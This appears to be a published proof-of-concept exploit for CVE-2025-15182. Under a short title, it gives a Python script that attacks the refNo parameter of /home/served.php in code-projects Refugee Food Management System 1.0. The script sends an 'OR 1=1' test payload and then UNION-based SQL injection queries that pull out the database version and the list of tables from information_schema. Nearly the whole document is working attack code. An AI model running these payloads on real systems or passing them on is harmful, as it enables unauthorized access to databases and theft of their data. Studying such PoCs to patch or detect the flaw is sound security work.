CVE-2025-15182: code-projects Refugee Food Management System SQL注入漏洞

# CVE-2025-15182 SQL Injection PoC # Target: code-projects Refugee Food Management System 1.0 # File: /home/served.php # Parameter: refNo import requests import sys TARGET_URL = "http://target.com/home/served.php" # Basic SQL Injection test def test_basic_injection(): print("[*] Testing basic SQL injection...") payload = "' OR '1'='1" params = {"refNo": payload} try: response = requests.get(TARGET_URL, params=params, timeout=10) if response.status_code == 200: print("[+] Basic injection test completed") return True except Exception as e: print(f"[-] Error: {e}") return False # Union-based injection to extract database version def extract_db_version(): print("[*] Extracting database version...") payload = "' UNION SELECT NULL,version(),NULL,NULL-- -" params = {"refNo": payload} try: response = requests.get(TARGET_URL, params=params, timeout=10) if "5." in response.text or "8." in response.text: print("[+] Database version extracted") return True except Exception as e: print(f"[-] Error: {e}") return False # Extract database tables def extract_tables(): print("[*] Extracting database tables...") payload = "' UNION SELECT NULL,table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -" params = {"refNo": payload} try: response = requests.get(TARGET_URL, params=params, timeout=10) if response.status_code == 200: print("[+] Tables extracted") return response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-15182 SQL Injection PoC") print("=" * 40) test_basic_injection() extract_db_version() tables = extract_tables() if tables: print(f"[+] Found tables: {tables[:500]}")